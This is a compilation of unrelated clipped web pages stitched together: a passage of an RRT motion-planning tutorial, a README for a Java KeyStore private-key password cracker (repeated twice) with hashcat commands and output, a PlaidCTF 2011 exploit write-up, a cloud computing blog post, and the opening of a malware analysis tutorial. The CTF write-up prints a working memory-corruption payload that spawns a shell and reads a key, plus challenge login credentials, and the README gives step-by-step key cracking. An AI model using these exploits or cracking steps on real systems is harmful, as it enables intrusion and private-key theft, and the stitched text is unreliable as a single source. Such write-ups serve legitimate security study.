5|  <img src='img/Temp2_6707.jpg' width='59' height='24' alt='$q_{new}
\leftarrow \;$' />NEW\_CONF<img src='img/Temp2_6706.jpg' width='78'
height='28' alt='$(q_{near},\Delta q)$' />;  
6|  _G_.add\_vertex\(_q_ _new_\);  
7|  _G_.add\_edge\(_q_ _near_ ,_q_ _new_\);  
8| Return _G_  
  

Step 3 chooses a random configuration, _q_ _rand_ , in <img
src='img/Temp2_6712.jpg' width='12' height='13' alt='${\cal C}$' />.
Alternatively, one could replace RAND\_CONF with RAND\_FREE\_CONF, and sample
configurations in <img src='img/Temp2_6704.jpg' width='37' height='25'
alt='${\cal C}_{free}$' /> \(by using a collision detection algorithm to
reject samples in <img src='img/Temp2_6703.jpg' width='29' height='25'
alt='${\cal C}_{obs}$' />\).

It is assumed that a metric <img src='img/Temp2_6705.jpg' width='11'
height='24' alt='$\rho$' /> has been defined over <img
src='img/Temp2_6712.jpg' width='12' height='13' alt='${\cal C}$' />. Step 4
selects the vertex, _x_ _near_ , in the RRT, _G_ , that is closest to _q_
_rand_. This can be implemented as shown below.

NEAREST\_VERTEX\(_q_ ,G\)  
1| <img src='img/Temp2_6709.jpg' width='51' height='14' alt='$d \leftarrow
\infty$' />;  
---|---  
2| **for each** <img src='img/Temp2_6699.jpg' width='43' height='25' alt='$v
\in V$' />  
3|  **if** <img src='img/Temp2_6708.jpg' width='76' height='28'
alt='$\rho(q,v) < d$' /> **then**  
4|  _v_ _new_ = _v_ ; <img src='img/Temp2_6696.jpg' width='79' height='28'
alt='$d \leftarrow \rho(q,v)$' />;  
5| Return _q_ ;  
  

In Step 5 of BUILD\_RRT, NEW\_CONF selects a new configuration, _q_ _new_ , by
moving from _q_ _near_ an incremental distance, <img src='img/Temp2_6711.jpg'
width='23' height='25' alt='$\Delta q$' />, in the direction of _q_ _rand_.
This assumes that motion in any direction is possible. If differential
constraints exist, then inputs are applied to the corresponding control
system, and new configurations are obtained by numerical integration. Finally,
a new vertex, _q_ _new_ , and is added, and a new edge is added from _q_
_near_ to _q_ _new_.

To gain a better understanding of RRTs, consider the special case in which
<img src='img/Temp2_6712.jpg' width='12' height='13' alt='${\cal C}$' /> is a
square region in the plane. Let <img src='img/Temp2_6705.jpg' width='11'
height='24' alt='$\rho$' /> represent the Euclidean metric. The frames below
show the construction of an RRT for the case of <img src='img/Temp2_6700.jpg'
width='148' height='28' alt='${\cal C}= [0,100] \times [0,100]$' />, <img
src='img/Temp2_6701.jpg' width='53' height='25' alt='$\Delta q = 1$' />, and
_q_ _init_ = \(50,50\):

<img src='img/Temp2_6702.jpg' width='231' height='231' alt='\psfig
{file=figs/out3.ps,height=2.0truein} ' /> <img src='img/Temp2_6713.jpg'
width='231' height='231' alt='\psfig {file=figs/out10.ps,height=2.0truein} '
/> <img src='img/Temp2_6715.jpg' width='231' height='231' alt='\psfig
{file=figs/out30.ps,height=2.0truein} ' />  

The RRT quickly expands in a few directions to quickly explore the four
corners of the square. Although the construction method is simple, it is no
easy task to find a method that yields such desirable behavior. Consider, for
example, a naive random tree that is constructed incrementally by selecting a
vertex at random, an input at random, and then applying the input to generate
a new vertex. Although one might intuitively expect the tree to \`\`randomly''
explore the space, there is actually a very strong bias toward places already
explored \(simulation experiments yield an extremely high density of vertices
near _q_ _init_ , with little other exploration\). A random walk also suffers
from a bias toward places already visited. An RRT works in the opposite manner
by being biased toward places not yet visited. This can be seen by considering
the Voronoi diagram of the RRT vertices. Larger Voronoi regions occur on the
\`\`frontier'' of the tree. Since vertex selection is based on nearest
neighbors, this implies that vertices with large Voronoi regions are more
likely to be selected for expansion. On average, an RRT is constructed by
iteratively breaking large Voronoi regions into smaller ones.

Return to main RRT page

# floyd-fuh/JKS-private-key-cracker-hashcat

**Created:**| _6/29/2017 3:49:32 PM_  
---|---  
**Updated:**| _6/29/2017 3:49:32 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# JKS private key cracker - Nail in the JKS coffin

The Java Key Store \(JKS\) is the Java way of storing one or several
cryptographic private and public keys for asymmetric cryptography in a file.
While there are various key store formats, Java and Android still default to
the JKS file format. JKS is one of the file formats for Java key stores, but
JKS is confusingly used as the acronym for the general Java key store API as
well. This project includes information regarding the security mechanisms of
the JKS file format and how the password protection of the private key can be
cracked. Due the unusual design of JKS the developed implementation can ignore
the key store password and crack the private key password directly. Because it
ignores the key store password, this implementation can attack every JKS
configuration, which is not the case with most other tools. By exploiting a
weakness of the Password Based Encryption scheme for the private key in JKS,
passwords can be cracked very efficiently. Until now, no public tool was
available exploiting this weakness. This technique was implemented in hashcat
to amplify the efficiency of the algorithm with higher cracking speeds on
GPUs.

To get the theory part, please refer to the POC||GTFO article "15:12 Nail in
the Java Key Store Coffin" in issue 0x15 included in this repository
\(pocorgtfo15.pdf\) or available on various mirros like this beautiful one:
https://unpack.debug.su/pocorgtfo/

Before you ask: JCEKS or BKS or any other Key Store format is not supported
\(yet\).

# How you should crack JKS files

The answer is build your own cracking hardware for it ;\) . But let's be a
little more practical, so the answer is using your GPU:

[code]

        _____:  _____________         _____:  v3.6.0     ____________
       _\    |__\______    _/_______ _\    |_____ _______\______    /__ ______
       |     _     |  __   \   ____/____   _     |   ___/____  __    |_______/
       |     |     |  \    _\____      /   |     |   \      /  \     |     |
       |_____|     |______/     /     /____|     |_________/_________:     |
             |_____:-aTZ!/___________/     |_____:                 /_______:
     
    * BLAKE2 * BLOCKCHAIN2 * DPAPI * CHACHA20 * JAVA KEYSTORE * ETHEREUM WALLET *
    
[/code]

All you need to do is run the following command:

[code]

    java -jar JksPrivkPrepare.jar your_JKS_file.jks > hash.txt
    
[/code]

If your hash.txt ends up being empty, there is either no private key in the
JKS file or you specified a non-JKS file.

Then feed the hash.txt file to hashcat \(version 3.6.0 and above\), for
example like this:

[code]

    $ ./hashcat -m 15500 -a 3 -1 '?u|' -w 3 hash.txt ?1?1?1?1?1?1?1?1?1
    hashcat (v3.6.0) starting...
    
    OpenCL Platform #1: NVIDIA Corporation
    ======================================
    * Device #1: GeForce GTX 1080, 2026/8107 MB allocatable, 20MCU
    
    Hashes: 1 digests; 1 unique digests, 1 unique salts
    Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
    
    Applicable optimizers:
    * Zero-Byte
    * Precompute-Init
    * Not-Iterated
    * Appended-Salt
    * Single-Hash
    * Single-Salt
    * Brute-Force
    
    Watchdog: Temperature abort trigger set to 90c
    Watchdog: Temperature retain trigger set to 75c
    
    $jksprivk$*D1BC102EF5FE5F1A7ED6A63431767DD4E1569670...8*test:POC||GTFO
                                                              
    Session..........: hashcat
    Status...........: Cracked
    Hash.Type........: JKS Java Key Store Private Keys (SHA1)
    Hash.Target......: $jksprivk$*D1BC102EF5FE5F1A7ED6A63431767DD4E1569670...8*test
    Time.Started.....: Tue May 30 17:41:58 2017 (8 mins, 25 secs)
    Time.Estimated...: Tue May 30 17:50:23 2017 (0 secs)
    Guess.Mask.......: ?1?1?1?1?1?1?1?1?1 [9]
    Guess.Charset....: -1 ?u|, -2 Undefined, -3 Undefined, -4 Undefined 
    Guess.Queue......: 1/1 (100.00%)
    Speed.Dev.#1.....:  7946.6 MH/s (39.48ms)
    Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
    Progress.........: 4014116700160/7625597484987 (52.64%)
    Rejected.........: 0/4014116700160 (0.00%)
    Restore.Point....: 5505024000/10460353203 (52.63%)
    Candidates.#1....: NNVGFSRFO -> Z|ZFVDUFO
    HWMon.Dev.#1.....: Temp: 75c Fan: 89% Util:100% Core:1936MHz Mem:4513MHz Bus:1
    
    Started: Tue May 30 17:41:56 2017
    Stopped: Tue May 30 17:50:24 2017
    
[/code]

So from this repository you basically only need the JksPrivkPrepare.jar to run
a cracking session.

# Other things in this repository

  * test\_run.sh: A little test script that you should be able to run after a couple of minutes to see this project in action. It includes comments on how to setup the dependencies for this project.
  * benchmarking: tests that show why you should use this technique and not others. Please read the "Nail in the JKS coffin" article.
  * example\_jks: generate example JKS files
  * fingerprint\_creation: Every plaintext private key in PKCS\#8 has it's own "fingerprint" that we expect when we guess the correct password. These fingerprints are necessary to make sure we are able to detect when we guessed the correct password. Please read the "Nail in the JKS coffin" article. This folder has the code to generate these fingerprints, it's a little bit hacky but I don't expect that it will be necessary to add any other fingerprints ever.
  * JksPrivkPrepare: The source code of how the JKS files are read and the hash calculated we need to give to hashcat.
  * jksprivk\_crack.py: A proof of concept implementation that can be used instead of hashcat. Obviously this is much slower than hashcat, but it can outperform John the Ripper \(JtR\) in certain cases. Please read the "Nail in the JKS coffin" article.
  * jksprivk\_decrypt.py: A little helper script that can be used to extract a private key once the password was correctly guessed.
  * run\_example\_jks.sh: A script that runs JksPrivkPrepare.jar and jksprivk\_crack.py on all example JKS files in the example\_jks folder. Make sure you run the generate\_examples.py in example\_jks script before.

# Related work and further links

A big shout to Casey Marshall who wrote the JKS.java class, which is used in a
modified version in this project:

[code]

    /* JKS.java -- implementation of the "JKS" key store.
       Copyright (C) 2003  Casey Marshall <rsdio@metastatic.org>
    
    Permission to use, copy, modify, distribute, and sell this software and
    its documentation for any purpose is hereby granted without fee,
    provided that the above copyright notice appear in all copies and that
    both that copyright notice and this permission notice appear in
    supporting documentation.  No representations are made about the
    suitability of this software for any purpose.  It is provided "as is"
    without express or implied warranty.
    
    This program was derived by reverse-engineering Sun's own
    implementation, using only the public API that is available in the 1.4.1
    JDK.  Hence nothing in this program is, or is derived from, anything
    copyrighted by Sun Microsystems.  While the "Binary Evaluation License
    Agreement" that the JDK is licensed under contains blanket statements
    that forbid reverse-engineering (among other things), it is my position
    that US copyright law does not and cannot forbid reverse-engineering of
    software to produce a compatible implementation.  There are, in fact,
    numerous clauses in copyright law that specifically allow
    reverse-engineering, and therefore I believe it is outside of Sun's
    power to enforce restrictions on reverse-engineering of their software,
    and it is irresponsible for them to claim they can.  */
    
[/code]

Various more information which are mentioned in the article as well:

  * JKS is going to be replace as the default type in Java 9 http://openjdk.java.net/jeps/229
  * https://gist.github.com/zach-klippenstein/4631307
  * http://www.openwall.com/lists/john-users/2015/06/07/3
  * https://github.com/bes/KeystoreBrute
  * https://github.com/jeffers102/KeystoreCracker
  * https://github.com/volure/keystoreBrute
  * https://gist.github.com/robinp/2143870
  * https://www.darknet.org.uk/2015/06/patator-multi-threaded-service-url-brute-forcing-tool/
  * https://github.com/rsertelon/android-keystore-recovery
  * https://github.com/MaxCamillo/android-keystore-password-recover
  * https://cryptosense.com/mighty-aphrodite-dark-secrets-of-the-java-keystore/
  * https://hashcat.net/events/p12/js-sha1exp\_169.pdf
  * https://github.com/hashcat/hashcat

Neighborly greetings go out to atom, vollkorn, cem, doegox, corkami, xonox and
rexploit for supporting this research in one form or another\!

# JKS private key cracker - Nail in the JKS coffin

The Java Key Store \(JKS\) is the Java way of storing one or several
cryptographic private and public keys for asymmetric cryptography in a file.
While there are various key store formats, Java and Android still default to
the JKS file format. JKS is one of the file formats for Java key stores, but
JKS is confusingly used as the acronym for the general Java key store API as
well. This project includes information regarding the security mechanisms of
the JKS file format and how the password protection of the private key can be
cracked. Due the unusual design of JKS the developed implementation can ignore
the key store password and crack the private key password directly. Because it
ignores the key store password, this implementation can attack every JKS
configuration, which is not the case with most other tools. By exploiting a
weakness of the Password Based Encryption scheme for the private key in JKS,
passwords can be cracked very efficiently. Until now, no public tool was
available exploiting this weakness. This technique was implemented in hashcat
to amplify the efficiency of the algorithm with higher cracking speeds on
GPUs.

To get the theory part, please refer to the POC||GTFO article "15:12 Nail in
the Java Key Store Coffin" in issue 0x15 included in this repository
\(pocorgtfo15.pdf\) or available on various mirros like this beautiful one:
https://unpack.debug.su/pocorgtfo/

Before you ask: JCEKS or BKS or any other Key Store format is not supported
\(yet\).

# How you should crack JKS files

The answer is build your own cracking hardware for it ;\) . But let's be a
little more practical, so the answer is using your GPU:

[code]

        _____:  _____________         _____:  v3.6.0     ____________
       _\    |__\______    _/_______ _\    |_____ _______\______    /__ ______
       |     _     |  __   \   ____/____   _     |   ___/____  __    |_______/
       |     |     |  \    _\____      /   |     |   \      /  \     |     |
       |_____|     |______/     /     /____|     |_________/_________:     |
             |_____:-aTZ!/___________/     |_____:                 /_______:
     
    * BLAKE2 * BLOCKCHAIN2 * DPAPI * CHACHA20 * JAVA KEYSTORE * ETHEREUM WALLET *
    
[/code]

All you need to do is run the following command:

[code]

    java -jar JksPrivkPrepare.jar your_JKS_file.jks > hash.txt
    
[/code]

If your hash.txt ends up being empty, there is either no private key in the
JKS file or you specified a non-JKS file.

Then feed the hash.txt file to hashcat \(version 3.6.0 and above\), for
example like this:

[code]

    $ ./hashcat -m 15500 -a 3 -1 '?u|' -w 3 hash.txt ?1?1?1?1?1?1?1?1?1
    hashcat (v3.6.0) starting...
    
    OpenCL Platform #1: NVIDIA Corporation
    ======================================
    * Device #1: GeForce GTX 1080, 2026/8107 MB allocatable, 20MCU
    
    Hashes: 1 digests; 1 unique digests, 1 unique salts
    Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
    
    Applicable optimizers:
    * Zero-Byte
    * Precompute-Init
    * Not-Iterated
    * Appended-Salt
    * Single-Hash
    * Single-Salt
    * Brute-Force
    
    Watchdog: Temperature abort trigger set to 90c
    Watchdog: Temperature retain trigger set to 75c
    
    $jksprivk$*D1BC102EF5FE5F1A7ED6A63431767DD4E1569670...8*test:POC||GTFO
                                                              
    Session..........: hashcat
    Status...........: Cracked
    Hash.Type........: JKS Java Key Store Private Keys (SHA1)
    Hash.Target......: $jksprivk$*D1BC102EF5FE5F1A7ED6A63431767DD4E1569670...8*test
    Time.Started.....: Tue May 30 17:41:58 2017 (8 mins, 25 secs)
    Time.Estimated...: Tue May 30 17:50:23 2017 (0 secs)
    Guess.Mask.......: ?1?1?1?1?1?1?1?1?1 [9]
    Guess.Charset....: -1 ?u|, -2 Undefined, -3 Undefined, -4 Undefined 
    Guess.Queue......: 1/1 (100.00%)
    Speed.Dev.#1.....:  7946.6 MH/s (39.48ms)
    Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
    Progress.........: 4014116700160/7625597484987 (52.64%)
    Rejected.........: 0/4014116700160 (0.00%)
    Restore.Point....: 5505024000/10460353203 (52.63%)
    Candidates.#1....: NNVGFSRFO -> Z|ZFVDUFO
    HWMon.Dev.#1.....: Temp: 75c Fan: 89% Util:100% Core:1936MHz Mem:4513MHz Bus:1
    
    Started: Tue May 30 17:41:56 2017
    Stopped: Tue May 30 17:50:24 2017
    
[/code]

So from this repository you basically only need the JksPrivkPrepare.jar to run
a cracking session.

# Other things in this repository

  * test\_run.sh: A little test script that you should be able to run after a couple of minutes to see this project in action. It includes comments on how to setup the dependencies for this project.
  * benchmarking: tests that show why you should use this technique and not others. Please read the "Nail in the JKS coffin" article.
  * example\_jks: generate example JKS files
  * fingerprint\_creation: Every plaintext private key in PKCS\#8 has it's own "fingerprint" that we expect when we guess the correct password. These fingerprints are necessary to make sure we are able to detect when we guessed the correct password. Please read the "Nail in the JKS coffin" article. This folder has the code to generate these fingerprints, it's a little bit hacky but I don't expect that it will be necessary to add any other fingerprints ever.
  * JksPrivkPrepare: The source code of how the JKS files are read and the hash calculated we need to give to hashcat.
  * jksprivk\_crack.py: A proof of concept implementation that can be used instead of hashcat. Obviously this is much slower than hashcat, but it can outperform John the Ripper \(JtR\) in certain cases. Please read the "Nail in the JKS coffin" article.
  * jksprivk\_decrypt.py: A little helper script that can be used to extract a private key once the password was correctly guessed.
  * run\_example\_jks.sh: A script that runs JksPrivkPrepare.jar and jksprivk\_crack.py on all example JKS files in the example\_jks folder. Make sure you run the generate\_examples.py in example\_jks script before.

# Related work and further links

A big shout to Casey Marshall who wrote the JKS.java class, which is used in a
modified version in this project:

[code]

    /* JKS.java -- implementation of the "JKS" key store.
       Copyright (C) 2003  Casey Marshall <rsdio@metastatic.org>
    
    Permission to use, copy, modify, distribute, and sell this software and
    its documentation for any purpose is hereby granted without fee,
    provided that the above copyright notice appear in all copies and that
    both that copyright notice and this permission notice appear in
    supporting documentation.  No representations are made about the
    suitability of this software for any purpose.  It is provided "as is"
    without express or implied warranty.
    
    This program was derived by reverse-engineering Sun's own
    implementation, using only the public API that is available in the 1.4.1
    JDK.  Hence nothing in this program is, or is derived from, anything
    copyrighted by Sun Microsystems.  While the "Binary Evaluation License
    Agreement" that the JDK is licensed under contains blanket statements
    that forbid reverse-engineering (among other things), it is my position
    that US copyright law does not and cannot forbid reverse-engineering of
    software to produce a compatible implementation.  There are, in fact,
    numerous clauses in copyright law that specifically allow
    reverse-engineering, and therefore I believe it is outside of Sun's
    power to enforce restrictions on reverse-engineering of their software,
    and it is irresponsible for them to claim they can.  */
    
[/code]

Various more information which are mentioned in the article as well:

  * JKS is going to be replace as the default type in Java 9 http://openjdk.java.net/jeps/229
  * https://gist.github.com/zach-klippenstein/4631307
  * http://www.openwall.com/lists/john-users/2015/06/07/3
  * https://github.com/bes/KeystoreBrute
  * https://github.com/jeffers102/KeystoreCracker
  * https://github.com/volure/keystoreBrute
  * https://gist.github.com/robinp/2143870
  * https://www.darknet.org.uk/2015/06/patator-multi-threaded-service-url-brute-forcing-tool/
  * https://github.com/rsertelon/android-keystore-recovery
  * https://github.com/MaxCamillo/android-keystore-password-recover
  * https://cryptosense.com/mighty-aphrodite-dark-secrets-of-the-java-keystore/
  * https://hashcat.net/events/p12/js-sha1exp\_169.pdf
  * https://github.com/hashcat/hashcat

Neighborly greetings go out to atom, vollkorn, cem, doegox, corkami, xonox and
rexploit for supporting this research in one form or another\!

  

# PlaidCTF 2011 \#17 – C++5x \(300\) » Leet More

**Created:**| _4/26/2011 8:57:29 PM_  
---|---  
**Updated:**| _4/26/2011 8:57:29 PM_  
**Author:**| __  
**Tags:**| _C++ ctf_  
  

## PlaidCTF 2011 \#17 – C++5x \(300\)

  * Writeups

by hellman

**Category: pwnables**

> AED decided to use C++ to develop their internal tools.  
>  However, they seem to make a mistake one of their new C++ programs.
> Exploit and get the key\!
> `**ssh username@a5.amalgamated.biz**  
>  **Username:** cpp1_1  
>  **Password:** IwKheuEHvR1jYXmjIYz8bo8FFe1h8  
>  `
**Summary:** tricky overflow class’ method and exec’ing symlinks

Let’s check, what is there:

[code]

    cpp1_1@a5:~$ /opt/pctf/cpp1/first_cpp
    Usage: /opt/pctf/cpp1/first_cpp <name> <point>
    cpp1_1@a5:~$ /opt/pctf/cpp1/first_cpp "`perl -e 'print "A"x1024;'`" 123
    Segmentation fault
    cpp1_1@a5:~$ gdb --args /opt/pctf/cpp1/first_cpp "`perl -e 'print "A"x1024;'`" 123
    ...
    Program received signal SIGSEGV, Segmentation fault.
    0x080489b1 in ?? ()
    (gdb) x/10i $eip
    0x80489b1:    mov    (%eax),%eax
    0x80489b3:    mov    (%eax),%edx
    0x80489b5:    movl   $0x8049dc0,0x4(%esp)
    0x80489bd:    mov    0x8(%ebp),%eax
    0x80489c0:    mov    %eax,(%esp)
    0x80489c3:    call   *%edx
    (gdb) p/x $eax
    $1 = 0x41414141
    
[/code]

Well, we see that some dword in our buffer is used as a pointer to pointer to
pointer to a call address. Where can we store the second and the third
pointers?

After some code analyzing, we can find this nice code:

[code]

    ... in main:
    sub_804896C((int)&v3, v2, argv[1]);
    
    void __cdecl sub_804896C(int a1, int argv2, int argv1)
    {
      char src; // [sp+26h] [bp-32h]@1
    
      sprintf(&src, "Uploading... [%s]: %d pts\n", argv1, argv2);
      memcpy(s, &src, 0x32u);
      (**(void (__cdecl ***)(_DWORD, _DWORD))a1)(a1, s);
      sub_8048870(a1);
    }
    
    .bss:08049DC0 s
    
[/code]

Wow, `**s**` is in .bss so it has a constant address: **08049DC0**. So, if we
pass <ptr>, ptr will be situated at `**08049DC0 + 14 = 08049DCE**`. Ok, let’s
put there pointer to next dword \(**08049DD2**\) and a dummy address and look
what args are passed to it:

[code]

    cpp1_1@a5:~$ gdb --args /opt/pctf/cpp1/first_cpp "`perl -e
    'print "\xd2\x9d\x04\x08" . "XXXX" . "\xce\x9d\x04\x08"x100;'`" 123
    Program received signal SIGSEGV, Segmentation fault.
    0x58585858 in ?? ()
    (gdb) x/4xw $esp
    0xbff459ec:    0x080489c5    0x08049dce    0x08049dc0    0x00000032
    
[/code]

  * `**0x080489c5**` – ret addr 
  * `**0x08049dce**` – first argument 
  * `**0x08049dc0**` – second argument 

Looks like **0x08049dce** is a valid pointer. But the second one must be a
valid pointer to array of pointers. Let’s check it:

[code]

    (gdb) x/20xw 0x08049dc0
    0x8049dc0:    0x6f6c7055    0x6e696461    0x2e2e2e67    0x9dd25b20
    
[/code]

Oh, it’s not. Very luckily, I found an appropriate gadget at `**execvpe+65**`:

[code]

    (gdb) x/4i execvpe+65
    0x401f6e71 <execvpe+65>:    mov    %ecx,0x8(%esp)
    0x401f6e75 <execvpe+69>:    mov    0x8(%ebp),%eax
    0x401f6e78 <execvpe+72>:    mov    %eax,(%esp)
    0x401f6e7b <execvpe+75>:    call   0x401f6870 <execve>
    
    (gdb) p/x $ecx
    $1 = 0x0
    
    (gdb) x/4xw $ebp
    0xbfd17048:    0x08049dce    0x08049dce    0x08049dce    0x08049dce
    
    (gdb) x/20xw 0x08049dce
    0x8049dce:    0x08049dd2    0x58585858    0x08049dce    0x08049dce
    0x8049dde:    0x08049dce    0x08049dce    0x08049dce    0x08049dce
    0x8049dee:    0x08049dce    0x00000000    0x00000000    0x00000000
    
[/code]

So, **execve** will receive:

  * `**0x08049dce**` – first argument 
  * `**0x08049dce**` – second argument 
  * `**0**` – third argumend \(NULL\) 

And **0x08049dce** is valid pointer to an array of pointers \(because
**0×58585858** will be replaced with **execvpe+65**\). Ok, let’s create
symlink and pwn it.

But before, let’s determine address of **execvpe+65**. I learnt a cool trick
from **zaphod** : we can disable libc ASLR with this command:

[code]

    cpp1_1@a5:~$ ulimit -s unlimited
[/code]

Ok, now get the address:

[code]

    cpp1_1@a5:~$ gdb --args /opt/pctf/cpp1/first_cpp "`perl -e
    'print "\xd2\x9d\x04\x08" . "XXXX" . "\xce\x9d\x04\x08"x100;'`" 123
    ...
    (gdb) p/x &execvpe+65
    $1 = 0x401f6e71
    
[/code]

Replace **XXXX** with this address and look what is execving:

[code]

    cpp1_1@a5:~$ strace /opt/pctf/cpp1/first_cpp "`perl -e
    'print "\xd2\x9d\x04\x08" . "\x71\x6e\x1f\x40" . "\xce\x9d\x04\x08"x100;'`" 123
    
[/code]

…  
`execve("\322\235\4\10qn\37@\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10",
["qn\37@\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10",
"\211L$\10\213E\10\211\4$\350\360\371\377\377\213\203\320  
...`

Now, time to win\!

[code]

    cpp1_1@a5:~$ export PATH=".:$PATH"
    cpp1_1@a5:~$ cat >wrap.sh
    #!/bin/sh
    /bin/sh  # trick to drop arguments
    cpp1_1@a5:~$ chmod +x wrap.sh
    cpp1_1@a5:~$ ln -s wrap.sh $'\322\235\4\10qn\37@\316\235\4\10\316
    \235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316
    \235\4\10'
    cpp1_1@a5:~$ /opt/pctf/cpp1/first_cpp "`perl -e 'print "\xd2\x9d\x04\x08" . "\x71\x6e\x1f\x40" . "\xce\x9d\x04\x08"x100;'`" 123
    $ id
    uid=3000(cpp1_1) gid=3000(cpp1users) egid=3001(cpp1key) groups=3000(cpp1users)
    $ cat /opt/pctf/cpp1/key
    Virtual_function_is_Virtue
[/code]

# Zen 2.0 » Blog Archive » The Thousand Faces of Cloud Computing

**Created:**| _5/17/2009 6:52:57 PM_  
---|---  
**Updated:**| _5/17/2009 6:53:11 PM_  
**Author:**| __  
**Tags:**| _cloud computing_  
  

## The Thousand Faces of Cloud Computing

May 15th, 2009 | No Comments | Posted in Cloud Computing
It’s amazing that people are still arguing over what cloud computing is and
what is a cloud. I am certainly not immune to such naive arguments. Claims
such as “EC2 is NOT a cloud” just makes my head spin and wonder what the heck
people are thinking. But if I taking a step back and try to understand why
people are so passionate about this subject, I start to realize why there are
so many definitions for Cloud Computing and why people continue to
passionately argue over these definitions.

The short of it is that cloud means different things to different people. The
Cloud has different characteristics to people coming from service provider
backgrounds than people from a developer background; it has different meanings
to people who care more about architectures than people who are more business-
oriented; and it certainly .. to people who are building the clouds than the
consumers of the cloud.

So instead of creating a single definition for Cloud Computing, let’s look at
it from

  * Two perspectives
  * Five architecture characteristics
  * Three delivery models
  * Three deployment models
  * Three consumption models
  * Two pricing models

### Two Perspectives

There are passionate discussions on the definition of Cloud and Cloud
Computing. If we summarize the arguments, we can see that there are really two
camps of people: those who looks at Cloud as an architecture and those who
looks at Cloud as a business model. In many cases they agree on many of the
characteristics but there’s usually one topic that really heats up the
discussion and that is whether pricing and billing should be a defining
characteristic of the Cloud.

The Cloud Architecture camp usually argues that how the Cloud is priced and
billed should not be a defining characteristic of the Cloud since that’s a
business decision. And they are absolutely right about that.

The Cloud Business camp also passionately argues that how the Cloud is priced
must be a defining characteristic, otherwise how else can the user be billed?
And they are absolutely right about that as well.

At the end of the day it’s about perspectives. Here are the characteristics
again and where I think they fall:

Characteristic| Architecture| Business  
---|---|---  
Infrastructure Abstraction | ✓ |   
Resource Pooling | ✓ |   
Ubiquitous Network Access | ✓ |   
On-Demand Self-Service | ✓ |   
Elasticity | ✓ |   
Pricing Model | | ✓   
Consumption Model | | ✓   
### Five Architecture Characteristics

  * Infrastructure Abstraction
  * Resource Pooling
  * Ubiquitous Network Access
  * On-Demand Self-Service
  * Elasticity

I am going to refer you to the write ups in Guidance for Critical Areas of
Focus in Cloud Computing from Cloud Security Alliance, as well as the Draft
NIST Working Definition of Cloud Computing. These folks have done an awesome
job of writing these up so I won’t elaborate here. Notice that these five are
architecture characteristics so I didn’t include the utility-based pricing
characteristics here.

### Three Delivery Models

  * Software as a Service
  * Platform as a Service
  * Infrastructure as a Service

Again, I am going to refer you to the write ups in Guidance for Critical Areas
of Focus in Cloud Computing from Cloud Security Alliance, as well as the Draft
NIST Working Definition of Cloud Computing. This is generally referred to as
the SPI model.

### Three Deploy Models

I found that the distinction of _public, private, managed, community and
hybrid_ clouds in both the NIST and CSA documents somewhat difficult to
comprehend. I don’t mean that they don’t make sense but you really have to
think through them before you can understand them. In most cases, the follow
three seem to be easier to understand.

  * Internal Cloud
An internal cloud lives within the 4 walls of the enterprises \(like their
data center.\) It’s fully built, operated, controlled and managed by the
enterprises themselves. It has all five of the architecture characteristics of
a Cloud. It may or may not have the pricing model required for external clouds
since some enterprises may not care about chargebacks.

  * External Cloud
An external cloud lives outside of the enterprises and it’s usually built and
operated by service providers but the resources maybe controlled and managed
by the customers. The external cloud can either be shared \(multi-tenant\) or
dedicated \(single-tenant\). It has all five of the architecture
characteristics of a Cloud. The service provider will usually dictate the
consumption and pricing models of the external clouds.

  * Private Cloud
A private cloud is a combination of internal and external clouds. In most
cases enterprises have more than one cloud just like they have some
infrastructures inside the 4 walls and some outside. Even though there’s both
internal and external clouds, enterprises will want to control and manage all
of the resources that belong to them, potentially through a single pane of
glass. The cloud resoures are **_private_** to the customers, thus the name
private cloud.

### Three Consumption Models

  * Allocation-based
  * Resource pool-based
  * Usage-based

I’ve previously written about the consumption models so please use that as
reference.

### Two Pricing Models

One of the interesting debates out there is whether Clouds must have utility-
based pricing, that is, consumers are only billed for what they
used/allocated. I’ve generally seen the following two pricing models from
service providers who have cloud offerings.

  * Utility-based
This is the pay-per-use model that most people associate with cloud
infrastructures. Amazon and Google App Engine are based on these models.

  * Subscription-based
Most people tend to forget the subscription model is very popular in the cloud
as well. For example, Salesforce is based on a per-user-per-month charge, so
is Google Apps Premium Edition \(per-user-per-year.\) In fact, most of the
cloud applications \(SaaS\) are based on this model. In addition, we are
seeing some of the traditional service providers who are launching clouds also
offer this pricing model as well.

### So what is Cloud Computing and what is a Cloud?

Well, many combinations of the above can likely be considered clouds. I am not
going to add another definition to the mix and hopefully this blog post will
point out the reason why everyone has a different definition of Cloud
Computing.

# Dr. Fu's Security Blog: Malware Analysis Tutorial 6: Analyzing Self-
Extraction and Decoding Functions

**Created:**| _1/3/2012 4:18:26 PM_  
---|---  
**Updated:**| _1/3/2012 4:18:26 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis Tutorials_  
  

### Malware Analysis Tutorial 6: Analyzing Self-Extraction and Decoding
Functions

**Learning Goals** :  
  

  1. Use Immunity Debugger to Analyze and Annotate Binary Code.
  2. Understand the Techniques for Self-Extraction in Code Segment.

**Applicable to:**  

  1. Computer Architecture
  2. Operating Systems Security

 _**1\. Introduction**_  
  
  
In this tutorial, we discuss several interesting techniques to analyze
decoding/self-extraction functions, which are frequently used by malware to
avoid static analysis. The basic approach we use here is to execute the
malware step by step, and annotating the code.  
  
_**1.1 Goals**_  
We will examine the following functions in Max++ \(simply set a breakpoint at
each of the following addresses\):  

  * 0x00413BC2
  * 0x00413BDD
  * 0x00413A2B
  * 0x00410000
  * 0x00413BF2

  
_**1.2 General Techniques**_  
 _**We recommend that you try your best to analyze the aforementioned
functions first, before proceeding to section 2.**_ In the following please
find several useful IMM tricks:  

  * **Annotating code** : this is the most frequently used approach during a reverse engineering effort. Simply right click in the IMM code pane and select "Edit Comment", or press the ";" key.
  * **Labeling code** : you could set a label at an address \(applicable to both code and data segments\). When this address is used in JUMP and memory loading instructions, its label will show up in the disassembly. You can use this to assign mnemonics to functions and variables. To label an address, right click in IMM code pane and select "Label".
